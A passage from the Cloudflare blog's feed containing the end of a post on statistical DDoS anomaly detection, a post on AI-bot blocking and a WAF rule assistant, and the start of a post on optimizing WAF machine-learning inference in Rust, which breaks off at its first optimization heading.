          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Ys3wf2GY6e5K4rEBUTDBN/5cff86a1f90ee5e0eae9ec394f2322b3/image6.png" />
          </figure><p>The data follows a bell-shaped curve, also known as a normal distribution. We can use this fact to flag observations which appear outside the usual range. By first calculating the mean and standard deviation of our dataset, we can then use these values to rate new observations by calculating how many standard deviations (or sigma) the data is from the mean.</p><p>This value is also called the z-score — a z-score of 3 is the same as 3-sigma, which corresponds to 3 standard deviations from the mean. A data point with a high enough z-score is sufficiently unusual that it might signal an attack. Since the mean and standard deviation are stationary, we can calculate a request volume threshold for each z-score value, and use traffic volumes above these thresholds to signal an ongoing attack.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4X5WaA5QssNRlWWaz4UUYL/05b88c9cfe52f6ba05cef7cab033d53d/image1.png" />
          </figure><p><sup><i>Trigger thresholds for z-score of 3, 4 and 5</i></sup></p><p>Unfortunately, it’s incredibly rare to see traffic that is this uniform in practice, as user load will naturally vary over a day. Here I’ve simulated some traffic for a website which runs a meal delivery service, and as you might expect it has big peaks around meal times, and low traffic overnight since it only operates in a single country.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Pk6sFmz8lqjUJrdTev8Xw/194436196eddbbb11576b74f1515d6c6/image2.png" />
          </figure><p>Our volume data no longer follows a normal distribution and our 3-sigma threshold is now much further away, so smaller attacks could pass undetected.</p><p>Many websites elastically scale their underlying hardware based upon anticipated load to save on costs. In the example above the website operator would run far fewer servers overnight, when the anticipated load is low, to save on running costs. This makes the website more vulnerable to attacks during off-peak hours as there would be less hardware to absorb them. An attack as low as a few hundred requests per minute may be enough to overwhelm the site early in the morning, even though the peak-time infrastructure could easily absorb this volume.</p><p>This approach relies on traffic volume being stable over time, meaning it’s roughly flat throughout the day, but this is rarely true in practice. Even when it is true, benign increases in traffic are common, such as an e-commerce site running a Black Friday sale. In this situation, a website would expect a surge in traffic that our model wouldn’t anticipate, and we may incorrectly flag real shoppers as attackers.</p><p>It turns out this approach makes too many naive assumptions about what traffic should look like, so it’s impossible to choose an appropriate sigma threshold which works well for all customers.</p>
    <div>
      <h2>Time series forecasting</h2>
      <a href="#time-series-forecasting">
        
      </a>
    </div>
    <p>Let’s continue with trying to determine a volumetric baseline for our meal delivery example. A reasonable assumption we could add is that yesterday’s traffic shape should approximate the expected shape of traffic today. This idea is called “seasonality”. Weekly seasonality is also pretty common, i.e. websites see more or less traffic on certain weekdays or on weekends.</p><p>There are many methods designed to analyze a dataset, unpick the varying horizons of seasonality within it, and then build an appropriate predictive model. We won’t go into them here but reading about <a href="https://en.wikipedia.org/wiki/Autoregressive_integrated_moving_average"><u>Seasonal ARIMA (SARIMA)</u></a> is a good place to start if you are looking for further information.</p><p>There are three main challenges that make SARIMA methods unsuitable for our purposes. First is that in order to get a good idea of seasonality, you need a lot of data. To predict weekly seasonality, you need at least a few weeks worth of data. We’d require a massive dataset to predict monthly, or even annual, patterns (such as Black Friday). This means new customers wouldn’t be protected until they’d been with us for multiple years, so this isn’t a particularly practical approach.</p><p>The second issue is the cost of training models. In order to maintain good accuracy, time series models need to be frequently retrained. The exact frequency varies between methods, but in the worst cases, a model is only good for 2–3 inferences, meaning we’d need to retrain all our models every 10–20 minutes. This is feasible, but it’s incredibly wasteful.</p><p>The third hurdle is the hardest to work around, and is the reason why a purely volumetric model doesn’t work. Most websites experience completely benign spikes in traffic that lie outside prior norms. Flash sales are one such example, or 1,000,000 visitors driven to a site from Reddit, or a Super Bowl commercial.</p>
    <div>
      <h2>A better way?</h2>
      <a href="#a-better-way">
        
      </a>
    </div>
    <p>So if volumetric modeling won’t work, what can we do instead? Fortunately, volume isn’t the only axis we can use to measure traffic. Consider the end users’ browsers for example. It would be reasonable to assume that over a given time interval, the proportion of users across the top 5 browsers would remain reasonably stationary, or at least within a predictable range. More importantly, this proportion is unlikely to change too much during benign traffic surges.</p><p>Through careful analysis we were able to discover about a dozen such variables with the following features for a given zone: </p><ul><li><p>They follow a normal distribution</p></li><li><p>They aren’t correlated, or are only loosely correlated with volume</p></li><li><p>They deviate from the underlying normal distribution during “under attack” events</p></li></ul><p>Recall our initial volume model, where we used z-score to define a cutoff. We can expand this same idea to multiple dimensions. We have a dozen different time series (each feature is a single time series), which we can imagine as a cloud of points in 12 dimensions. Here is a sample showing 3 such features, with each point representing the traffic readings at a different point in time. Note that both graphs show the same cloud of points from two different angles.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5idkNYYgL0IhY8d2HapYud/f3696ec7fb91f8641a04ba261d0cf673/image4.png" />
          </figure><p>To use our z-score analogy from before, we’d want our points to be spherical, since our multidimensional- z-score is then just the distance from the centre of the cloud. We could then use this distance to define a cutoff threshold for attacks.</p><p>For several reasons, a perfect sphere is unlikely in practice. Our various features measure different things, so they have very different scales of ‘normal’. One property might vary between 100-300 whereas another property might usually occupy the interval 0-1. A change of 3 in this latter property would be a significant anomaly, whereas in the first this would just be within the normal range.</p><p>More subtly, two or more axes may be correlated, so an increase in one is usually mirrored with a proportional increase/decrease in another dimension. This turns our sphere into an off-axis disc shape, as pictured above.</p><p>Fortunately, we have a couple of mathematical tricks up our sleeve. The first is scale normalization. In each of our n dimensions, we subtract the mean, and divide by the standard deviation. This makes all our dimensions the same size and centres them around zero. This gives a multidimensional analogue of z-score, but it won’t fix the disc shape.</p><p>What we can do is figure out the orientation and dimensions of the disc, and for this we use a tool called <a href="https://en.wikipedia.org/wiki/Principal_component_analysis"><u>Principal Component Analysis (PCA)</u></a>. This lets us reorient our disc, and rescale the axes according to their size, to make them all the same.</p><p>Imagine grabbing the disc out of the air, then drawing new X and Y axes on the top surface, with the origin at the center of the disc. Our new Z-axis is the thickness of the disc. We can compare the thickness to the diameter of the disc, to give us a scaling factor for the Z direction. Imagine stretching the disc along the z-axis until it’s as tall as the length across the diameter.</p><p>In reality there’s nothing to say that X &amp; Y have to be the same size either, but hopefully you get the general idea. PCA lets us draw new axes along these lines of correlation in an arbitrary number of dimensions, and convert our n-dimensional disc into a nicely behaved sphere of points (technically an n-dimensional sphere).</p><p>Having done all this work, we can uniquely define a coordinate transformation which takes any measurement from our raw features, and tells us where it should lie in the sphere, and since all our dimensions are the same size we can generate an anomaly score purely based on its distance from the centre of the cloud.</p><p>As a final trick, we can also use a final scaling operation to ensure the sphere for dataset A is the same size as the sphere generated from dataset B, meaning we can do this same process for any traffic data and define a cutoff distance λ which is the same across all our models. Rather than fine-tuning models for each individual customer zone, we can tune this to a value which applies globally.</p><p>Another name for this measurement is <a href="https://en.wikipedia.org/wiki/Mahalanobis_distance"><u>Mahalanobis distance</u></a>. (Inclined readers can understand this equivalence by considering the role of the covariance matrix in PCA and Mahalanobis distance. Further discussion can be found on <a href="https://stats.stackexchange.com/questions/166525/is-mahalanobis-distance-equivalent-to-the-euclidean-one-on-the-pca-rotated-data"><u>this</u></a> StackExchange post.) We further tune the process to discard dimensions with little variance — if our disc is too thin we discard the thickness dimension.  In practice, such dimensions were too sensitive to be useful.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1OcPc7zoehsizwzPEkD1Fc/094bd59ca6d6aba3c301fd74f12d580a/image5.png" />
          </figure><p>We’re left with a multidimensional analogue of the z-score we started with, but this time our variables aren’t correlated with peacetime traffic volume. Above we show 2 output dimensions, with coloured circles which show Mahalanobis distances of 4, 5 and 6. Anything outside the green circle will be classified as an attack.</p>
    <div>
      <h2>How we train ~1 million models daily to keep customers safe</h2>
      <a href="#how-we-train-1-million-models-daily-to-keep-customers-safe">
        
      </a>
    </div>
    <p>The approach we’ve outlined is incredibly parallelizable: a single model requires only the traffic data for that one website, and the datasets needed can be quite small. We use 4 weeks of training data chunked into 5 minute intervals which is only ~8k rows/website.</p><p>We run all our training and inference in an Apache Airflow deployment in Kubernetes. Due to the parallelizability, we can scale horizontally as needed. On average, we can train about 3 models/second/thread. We currently retrain models every day, but we’ve observed very little intraday model drift (i.e. yesterday’s model is the same as today’s), so training frequency may be reduced in the future.</p><p>We don’t consider it necessary to build models for all our customers, instead we train models for a large sample of representative customers, including a large number on the Free plan. The goal is to identify attacks for further study which we then use to tune our existing DDoS systems for all customers.</p>
    <div>
      <h2>Join us!</h2>
      <a href="#join-us">
        
      </a>
    </div>
    <p>If you’ve read this far you may have questions, like “how do you filter attacks from your training data?” or you may have spotted a handful of other technical details which I’ve elided to keep this post accessible to a general audience. If so, you would fit in well here at Cloudflare. We’re helping to build a better Internet, and we’re <a href="https://www.cloudflare.com/careers/jobs/?title=data+scientist"><u>hiring</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Deep Dive]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <guid isPermaLink="false">4awe2vvz8flXFLuz3BGm7j</guid>
            <dc:creator>Nick Wood</dc:creator>
            <dc:creator>Manish Arora</dc:creator>
        </item>
        <item>
            <title><![CDATA[AI Everywhere with the WAF Rule Builder Assistant, Cloudflare Radar AI Insights, and updated AI bot protection]]></title>
            <link>https://blog.cloudflare.com/bringing-ai-to-cloudflare/</link>
            <pubDate>Fri, 27 Sep 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ This year for Cloudflare’s birthday, we’ve extended our AI Assistant capabilities to help you build new WAF rules, added new AI bot & crawler traffic insights to Radar, and given customers new AI bot  ]]></description>
            <content:encoded><![CDATA[ <p>The continued growth of AI has fundamentally changed the Internet over the past 24 months. AI is increasingly ubiquitous, and Cloudflare is leaning into the new opportunities and challenges it presents in a big way. This year for Cloudflare’s birthday, we’ve extended our AI Assistant capabilities to help you build new WAF rules, added AI bot traffic insights on Cloudflare Radar, and given customers new <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">AI bot blocking capabilities</a>.  </p>
    <div>
      <h2>AI Assistant for WAF Rule Builder</h2>
      <a href="#ai-assistant-for-waf-rule-builder">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5RYC4wmCDbs0axY92FfkFk/a728906cb6a902dd1c78ec93a0f650c2/BLOG-2564_1.png" />
          </figure><p>At Cloudflare, we’re always listening to your feedback and striving to make our products as user-friendly and powerful as possible. One area where we've heard your feedback loud and clear is in the complexity of creating custom and rate-limiting rules for our Web Application Firewall (WAF). With this in mind, we’re excited to introduce a new feature that will make rule creation easier and more intuitive: the AI Assistant for WAF Rule Builder. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7avSjubqlfg7L8ymKEztgk/7c3c31e50879ec64bccc384bdfcd5524/BLOG-2564_2.png" />
          </figure><p>By simply entering a natural language prompt, you can generate a custom or rate-limiting rule tailored to your needs. For example, instead of manually configuring a complex rule matching criteria, you can now type something like, "Match requests with low bot score," and the assistant will generate the rule for you. It’s not about creating the perfect rule in one step, but giving you a strong foundation that you can build on. </p><p>The assistant will be available in the Custom and Rate Limit Rule Builder for all WAF users. We’re launching this feature in Beta for all customers, and we encourage you to give it a try. We’re looking forward to hearing your feedback (via the UI itself) as we continue to refine and enhance this tool to meet your needs.</p>
    <div>
      <h2>AI bot traffic insights on Cloudflare Radar</h2>
      <a href="#ai-bot-traffic-insights-on-cloudflare-radar">
        
      </a>
    </div>
    <p>AI platform providers use bots to crawl and scrape websites, vacuuming up data to use for model training. This is frequently done without the permission of, or a business relationship with, the content owners and providers. In July, Cloudflare urged content owners and providers to <a href="https://blog.cloudflare.com/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click/"><u>“declare their AIndependence”</u></a>, providing them with a way to block AI bots, <a href="https://www.cloudflare.com/learning/ai/how-to-prevent-web-scraping/">scrapers</a>, and crawlers with a single click. In addition to this so-called “easy button” approach, sites can provide more specific guidance to these bots about what they are and are not allowed to access through directives in a <a href="https://www.cloudflare.com/en-gb/learning/bots/what-is-robots-txt/"><u>robots.txt</u></a> file. Regardless of whether a customer chooses to block or allow requests from AI-related bots, Cloudflare has insight into request activity from these bots, and associated traffic trends over time.</p><p>Tracking traffic trends for AI bots can help us better understand their activity over time — which are the most aggressive and have the highest volume of requests, which launch crawls on a regular basis, etc. The new <a href="https://radar.cloudflare.com/traffic#ai-bot-crawler-traffic"><b><u>AI bot &amp; crawler traffic </u></b><u>graph on Radar’s Traffic page</u></a> provides insight into these traffic trends gathered over the selected time period for the top known AI bots. The associated list of bots tracked here is based on the <a href="https://github.com/ai-robots-txt/ai.robots.txt"><u>ai.robots.txt list</u></a>, and will be updated with new bots as they are identified. <a href="https://developers.cloudflare.com/api/operations/radar-get-ai-bots-timeseries-group-by-user-agent"><u>Time series</u></a> and <a href="https://developers.cloudflare.com/api/operations/radar-get-ai-bots-summary-by-user-agent"><u>summary</u></a> data is available from the Radar API as well. (Traffic trends for the full set of AI bots &amp; crawlers <a href="https://radar.cloudflare.com/explorer?dataSet=ai.bots"><u>can be viewed in the new Data Explorer</u></a>.)</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5tYefQaBhTPYpqZPtE6KPu/f60694d0b24de2acba13fe0944589885/BLOG-2564_3.png" />
          </figure>
    <div>
      <h2>Blocking more AI bots</h2>
      <a href="#blocking-more-ai-bots">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/UiFu8l6K4Pm3ulxTK3XU0/541d109e29a9ae94e4792fdf94f7e4aa/BLOG-2564_4.png" />
          </figure><p>For Cloudflare’s birthday, we’re following up on our previous blog post, <a href="https://blog.cloudflare.com/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click/"><i><u>Declaring Your AIndependence</u></i></a>, with an update on the new detections we’ve added to stop AI bots. Customers who haven’t already done so can simply <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/bots/configure"><u>click the button</u></a> to block AI bots to gain more protection for their website. </p>
    <div>
      <h3>Enabling dynamic updates for the AI bot rule</h3>
      <a href="#enabling-dynamic-updates-for-the-ai-bot-rule">
        
      </a>
    </div>
    <p>The old button allowed customers to block <i>verified</i> AI crawlers, those that respect robots.txt and crawl rate, and don’t try to hide their behavior. We’ve added new crawlers to that list, but we’ve also expanded the previous rule to include 27 signatures (and counting) of AI bots that <i>don’t </i>follow the rules. We want to take time to say “thank you” to everyone who took the time to use our “<a href="https://docs.google.com/forms/d/14bX0RJH_0w17_cAUiihff5b3WLKzfieDO4upRlo5wj8"><u>tip line</u></a>” to point us towards new AI bots. These tips have been extremely helpful in finding some bots that would not have been on our radar so quickly. </p><p>For each bot we’ve added, we’re also adding them to our “Definitely automated” definition as well. So, if you’re a self-service plan customer using <a href="https://blog.cloudflare.com/super-bot-fight-mode/"><u>Super Bot Fight Mode</u></a>, you’re already protected. Enterprise Bot Management customers will see more requests shift from the “Likely Bot” range to the “Definitely automated” range, which we’ll discuss more below.</p><p>Under the hood, we’ve converted this rule logic to a <a href="https://developers.cloudflare.com/waf/managed-rules/"><u>Cloudflare managed rule</u></a> (the same framework that powers our WAF). This enables our security analysts and engineers to safely push updates to the rule in real-time, similar to how new WAF rule changes are rapidly delivered to ensure our customers are protected against the latest CVEs. If you haven’t logged back into the Bots dashboard since the previous version of our AI bot protection was announced, click the button again to update to the latest protection. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2tI8Yqxt1S0UPapImb32J4/6cb9e9bf423c370383edb820e5722929/BLOG-2564_5.png" />
          </figure>
    <div>
      <h3>The impact of new fingerprints on the model </h3>
      <a href="#the-impact-of-new-fingerprints-on-the-model">
        
      </a>
    </div>
    <p>One hidden beneficiary of fingerprinting new AI bots is our ML model. <a href="https://blog.cloudflare.com/cloudflare-bot-management-machine-learning-and-more/"><u>As we’ve discussed before</u></a>, our global ML model uses supervised machine learning and greatly benefits from more sources of labeled bot data. Below, you can see how well our ML model recognized these requests as automated, before and after we updated the button, adding new rules. To keep things simple, we have shown only the top 5 bots by the volume of requests on the chart. With the introduction of our new managed rule, we have observed an improvement in our detection capabilities for the majority of these AI bots. Button v1 represents the old option that let customers block only verified AI crawlers, while Button v2 is the newly introduced feature that includes managed rule detections.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2CZVGyDCp9ZtMrZdIi49fE/aacd04d240e9348b5a9b65bad4b470e2/BLOG-2564_6.jpg" />
          </figure><p>So how did we make our detections more robust? As we have mentioned before, sometimes <a href="https://blog.cloudflare.com/cloudflare-bot-management-machine-learning-and-more/"><i><u>a single attribute can give a bot away</u></i></a>. We developed a sophisticated set of heuristics tailored to these AI bots, enabling us to effortlessly and accurately classify them as such. Although our ML model was already detecting the vast majority of these requests, the integration of additional heuristics has resulted in a noticeable increase in detection rates for each bot, and ensuring we score every request correctly 100% of the time. Transitioning from a purely machine learning approach to incorporating heuristics offers several advantages, including faster detection times and greater certainty in classification. While deploying a machine learning model is complex and time-consuming, new heuristics can be created in minutes. </p><p>The initial launch of the AI bots block button was well-received and is now used by over 133,000 websites, with significant adoption even among our Free tier customers. The newly updated button, launched on August 20, 2024, is rapidly gaining traction. Over 90,000 zones have already adopted the new rule, with approximately 240 new sites integrating it every hour. Overall, we are now helping to protect the intellectual property of more than 146,000 sites from AI bots, and we are currently blocking 66 million requests daily with this new rule. Additionally, we’re excited to announce that support for configuring AI bots protection via Terraform will be available by the end of this year, providing even more flexibility and control for managing your bot protection settings.</p>
    <div>
      <h3>Bot behavior</h3>
      <a href="#bot-behavior">
        
      </a>
    </div>
    <p>With the enhancements to our detection capabilities, it is essential to assess the impact of these changes to bot activity on the Internet. Since the launch of the updated AI bots block button, we have been closely monitoring for any shifts in bot activity and adaptation strategies. The most basic fingerprinting technique we use to identify AI bot looking for simple user-agent matches. User-agent matches are important to monitor because they indicate the bot is transparently announcing who they are when they’re crawling a website. </p><p>The graph below shows a volume of traffic we label as AI bot over the past two months. The blue line indicates the daily request count, while the red line represents the monthly average number of requests. In the past two months, we have seen an average reduction of nearly 30 million requests, with a decrease of 40 million in the most recent month.This decline coincides with the release of Button v1 and Button v2. Our hypothesis is that with the new AI bots blocking feature, Cloudflare is blocking a majority of these bots, which is discouraging them from crawling. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/23ULxmxBIRskEONlWVIvlA/1dbd3d03239047492c2d4f7307217d97/BLOG-2564_7.jpg" />
          </figure><p>This hypothesis is supported by the observed decline in requests from several top AI crawlers. Specifically, the Bytespider bot reduced its daily requests from approximately 100 million to just 50 million between the end of June and the end of August (see graph below). This reduction could be attributed to several factors, including our new AI bots block button and changes in the crawler's strategy.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5UwtyZSXULrVzIqLcICGKd/fdf02c15d17e1d7ed248ba5f8a97eb54/BLOG-2564_8.jpg" />
          </figure><p>We have also observed an increase in the accountability of some AI crawlers. The most basic fingerprinting technique we use to identify AI bot looking for simple user-agent matches. User-agent matches are important to monitor because they indicate the bot is transparently announcing who they are when they’re crawling a website. These crawlers are now more frequently using their agents, reflecting a shift towards more transparent and responsible behavior. Notably, there has been a dramatic surge in the number of requests from the Perplexity user agent. This increase might be linked to <a href="https://rknight.me/blog/perplexity-ai-is-lying-about-its-user-agent/">previous accusations<u> </u></a>that Perplexity did not properly present its user agent, which could have prompted a shift in their approach to ensure better identification and compliance. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7Hq2vUMqqdNCyaxNTCg3JD/610ad53d57203203c5176229245c8086/BLOG-2564_9.jpg" />
          </figure><p>These trends suggest that our updates are likely affecting how AI crawlers interact with content. We will continue to monitor AI bot activity to help users control who accesses their content and how. By keeping a close watch on emerging patterns, we aim to provide users with the tools and insights needed to make informed decisions about managing their traffic. </p>
    <div>
      <h2>Wrap up</h2>
      <a href="#wrap-up">
        
      </a>
    </div>
    <p>We’re excited to continue to explore the AI landscape, whether we’re finding more ways to make the Cloudflare dashboard usable or new threats to guard against. Our AI insights on Radar update in near real-time, so please join us in watching as new trends emerge and discussing them in the <a href="https://community.cloudflare.com/"><u>Cloudflare Community</u></a>. </p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[AI Bots]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Generative AI]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">6HqKUMoXg0wFIQg9howLMX</guid>
            <dc:creator>Adam Martinetti</dc:creator>
            <dc:creator>Harsh Saxena</dc:creator>
            <dc:creator>Gauri Baraskar</dc:creator>
            <dc:creator>Carlos Azevedo</dc:creator>
            <dc:creator>David Belson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making WAF ML models go brrr: saving decades of processing time]]></title>
            <link>https://blog.cloudflare.com/making-waf-ai-models-go-brr/</link>
            <pubDate>Thu, 25 Jul 2024 13:00:46 GMT</pubDate>
            <description><![CDATA[ In this post, we discuss performance optimizations we've implemented for our WAF ML product. We'll guide you through code examples, benchmarks, and we'll share the impressive latency reduction numbers ]]></description>
            <content:encoded><![CDATA[ <p>We made our WAF Machine Learning models <b>5.5x</b> faster, reducing execution time by approximately <b>82%</b>, from <b>1519</b> to <b>275</b> microseconds! Read on to find out how we achieved this remarkable improvement.</p><p><a href="https://developers.cloudflare.com/waf/about/waf-attack-score/">WAF Attack Score</a> is Cloudflare's machine learning (ML)-powered layer built on top of our <a href="https://developers.cloudflare.com/waf/">Web Application Firewall (WAF)</a>. Its goal is to complement the WAF and detect attack bypasses that we haven't encountered before. This has proven invaluable in <a href="/detecting-zero-days-before-zero-day">catching zero-day vulnerabilities</a>, like the one detected in <a href="/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability">Ivanti Connect Secure</a>, before they are publicly disclosed and enhancing our customers' protection against emerging and unknown threats.</p><p>Since its <a href="/waf-ml">launch in 2022</a>, WAF attack score adoption has grown exponentially, now protecting millions of Internet properties and running real-time inference on tens of millions of requests per second. The feature's popularity has driven us to seek performance improvements, enabling even broader customer use and enhancing Internet security.</p><p>In this post, we will discuss the performance optimizations we've implemented for our WAF ML product. We'll guide you through specific code examples and benchmark numbers, demonstrating how these enhancements have significantly improved our system's efficiency. Additionally, we'll share the impressive latency reduction numbers observed after the rollout.</p><p>Before diving into the optimizations, let's take a moment to review the inner workings of the WAF Attack Score, which powers our WAF ML product.</p>
    <div>
      <h2>WAF Attack Score system design</h2>
      <a href="#waf-attack-score-system-design">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3Bis9LE38A3aK4k7HEn7k9/44ae7b31096471a5256961715f8c7991/unnamed--4--6.png" />
            
            </figure><p>Cloudflare's WAF attack score identifies various traffic types and attack vectors (<a href="https://www.cloudflare.com/learning/security/threats/how-to-prevent-sql-injection/">SQLi</a>, <a href="https://www.cloudflare.com/learning/security/how-to-prevent-xss-attacks/">XSS</a>, Command Injection, etc.) based on structural or statistical content properties. Here's how it works during inference:</p><ol><li><p><b>HTTP Request Content</b>: Start with raw HTTP input.</p></li><li><p><b>Normalization &amp; Transformation</b>: Standardize and clean the data, applying normalization, content substitutions, and de-duplication.</p></li><li><p><b>Feature Extraction</b>: Tokenize the transformed content to generate statistical and structural data.</p></li><li><p><b>Machine Learning Model Inference</b>: Analyze the extracted features with pre-trained models, mapping content representations to classes (e.g., XSS, SQLi or <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">RCE</a>) or scores.</p></li><li><p><b>Classification Output in WAF</b>: Assign a score to the input, ranging from 1 (likely malicious) to 99 (likely clean), guiding security actions.</p></li></ol>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ZzHRYXU27VYB5F3F3QjXf/9e5248610a1e89ac8c73a446925abb69/cfce15fb-ce84-4489-a05a-6872b9e502b8.png" />
            
            </figure><p>Next, we will explore feature extraction and inference optimizations.</p>
    <div>
      <h2>Feature extraction optimizations</h2>
      <a href="#feature-extraction-optimizations">
        
      </a>
    </div>
    <p>In the context of the WAF Attack Score ML model, feature extraction or pre-processing is essentially a process of tokenizing the given input and producing a float tensor of 1 x m size:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7DIxHJ5zLkdeknndiNGbk0/e802888a2212ddfcae688f1c4201587f/8cc41311-3a09-4c39-b47c-9dc449760ee2.png" />
            
            </figure><p>In our initial pre-processing implementation, this is achieved via a sliding window of 3 bytes over the input with the help of Rust’s <a href="https://doc.rust-lang.org/std/collections/struct.HashMap.html">std::collections::HashMap</a> to look up the tensor index for a given ngram.</p>
    <div>
      <h3>Initial benchmarks</h3>
      <a href="#initial-benchmarks">
        
      </a>
    </div>
    <p>To establish performance baselines, we've set up four benchmark cases representing example inputs of various lengths, ranging from 44 to 9482 bytes. Each case exemplifies typical input sizes, including those for a request body, user agent, and URI. We run benchmarks using the <a href="https://bheisler.github.io/criterion.rs/book/getting_started.html">Criterion.rs</a> statistics-driven micro-benchmarking tool:</p>
            <pre><code>RUSTFLAGS="-C opt-level=3 -C target-cpu=native" cargo criterion</code></pre>
            <p>Here are initial numbers for these benchmarks executed on a Linux laptop with a 13th Gen Intel® Core™ i7-13800H processor:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Pre-processing time, μs</span></th>
    <th><span>Throughput, MiB/s</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>preprocessing/long-body-9482</span></td>
    <td><span>248.46</span></td>
    <td><span>36.40</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-body-1000</span></td>
    <td><span>28.19</span></td>
    <td><span>33.83</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-url-44</span></td>
    <td><span>1.45</span></td>
    <td><span>28.94</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-ua-91</span></td>
    <td><span>2.87</span></td>
    <td><span>30.24</span></td>
  </tr>
</tbody></table><p>An important observation from these results is that pre-processing time correlates with the length of the input string, with throughput ranging from 28 MiB/s to 36 MiB/s. This suggests that considerable time is spent iterating over longer input strings. Optimizing this part of the process could significantly enhance performance. The dependency of processing time on input size highlights a key area for performance optimization. To validate this, we should examine where the processing time is spent by analyzing flamegraphs created from a 100-second profiling session visualized using <a href="https://www.honeycomb.io/blog/golang-observability-using-the-new-pprof-web-ui-to-debug-memory-usage">pprof</a>:</p>
            <pre><code>RUSTFLAGS="-C opt-level=3 -C target-cpu=native" cargo criterion -- --profile-time 100
 
go tool pprof -http=: target/criterion/profile/preprocessing/avg-body-1000/profile.pb</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/WGhFT3j6vn4QGFOmdyNGO/8dd1c6e4d171cd2c407af7bf4d9a9ac7/unnamed--5--6.png" />
            
            </figure><p>Looking at the pre-processing flamegraph above, it's clear that most of the time was spent on the following two operations:</p>
<table><thead>
  <tr>
    <th><span>Function name</span></th>
    <th><span>% Time spent</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>std::collections::hash::map::HashMap&lt;K,V,S&gt;::get</span></td>
    <td><span>61.8%</span></td>
  </tr>
  <tr>
    <td><span>regex::regex::bytes::Regex::replace_all</span></td>
    <td><span>18.5%</span></td>
  </tr>
</tbody></table><p>Let's tackle the HashMap lookups first. Lookups are happening inside the <i>tensor_populate_ngrams</i> function, where input is split into windows of 3 bytes representing ngram and then lookup inside two hash maps:</p>
            <pre><code>fn tensor_populate_ngrams(tensor: &amp;mut [f32], input: &amp;[u8]) {   
   // Populate the NORM ngrams
   let mut unknown_norm_ngrams = 0;
   let norm_offset = 1;
 
   for s in input.windows(3) {
       match NORM_VOCAB.get(s) {
           Some(pos) =&gt; {
               tensor[*pos as usize + norm_offset] += 1.0f32;
           }
           None =&gt; {
               unknown_norm_ngrams += 1;
           }
       };
   }
 
   // Populate the SIG ngrams
   let mut unknown_sig_ngrams = 0;
   let sig_offset = norm_offset + NORM_VOCAB.len();
 
   let res = SIG_REGEX.replace_all(&amp;input, b"#");
 
   for s in res.windows(3) {
       match SIG_VOCAB.get(s) {
           Some(pos) =&gt; {
               // adding +1 here as the first position will be the unknown_sig_ngrams
               tensor[*pos as usize + sig_offset + 1] += 1.0f32;
           }
           None =&gt; {
               unknown_sig_ngrams += 1;
           }
       }
   }
}</code></pre>
            <p>So essentially the pre-processing function performs a ton of hash map lookups, the volume of which depends on the size of the input string, e.g. 1469 lookups for the given benchmark case <i>avg-body-1000</i>.</p>
    <div>
      <h3>Optimization attempt #1: HashMap → Aho-Corasick</h3>
      <a href="#optimization-attempt-1-hashmap-aho-corasick">
        
      </a>
    </div>
